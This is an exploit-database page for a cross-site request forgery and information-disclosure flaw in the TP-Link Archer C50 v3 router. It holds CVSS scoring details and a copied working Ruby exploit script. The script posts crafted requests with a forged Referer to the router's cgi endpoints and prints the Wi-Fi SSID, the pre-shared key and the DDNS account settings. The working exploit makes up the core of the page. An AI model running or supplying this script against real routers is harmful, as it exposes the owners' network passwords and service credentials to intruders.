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TP-Link C50 Wireless Router 3 Information Disclosure Cross Site Request Forgery

CVE	Category	Price	Severity
N/A	CWE-200	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-08-10

CPE
cpe:cpe:/h:tp-link:c50

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018080077

Below is a copy:

TP-Link C50 Wireless Router 3 Information Disclosure Cross Site Request Forgery

# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Information Disclosure)
# Date: 2018-08-09
# Exploit Author: Wadeek
# Vendor Homepage: https://www.tp-link.com/
# Hardware Version: Archer C50 v3 00000001
# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware
# Firmware Version: <= Build 171227
 
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
url = "http://192.168.0.1:80/"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
require('mechanize')
agent = Mechanize.new()
 
def dump(agent, url, path, query)
begin
    response = agent.post(url+path, query, {
        "User-Agent" => "",
        "Accept" => "*/*",
        "Referer" => "http://192.168.0.1/mainFrame.htm",
        "Content-Type" => "text/plain",
        "Connection" => "keep-alive",
        "Cookie" => ""
    })
rescue Exception => e
    begin
        puts(e.inspect())
        puts(e.page().body())
    rescue
    end
    puts("")
else
    puts(path)
    puts(response.body())
    puts("")
end
end
 
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# Get Wireless Settings
dump(agent, url, "cgi?5", "[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,10\r\nname\r\nenable\r\nstandard\r\nSSID\r\nregulatoryDomain\r\npossibleChannels\r\nautoChannelEnable\r\nchannel\r\nX_TP_PreSharedKey\r\nX_TP_Band\r\n")
 
# Get DDNS Settings
dump(agent, url, "cgi?1&1&1", "[DYN_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,0\r\n[CMX_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]2,0\r\n")
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

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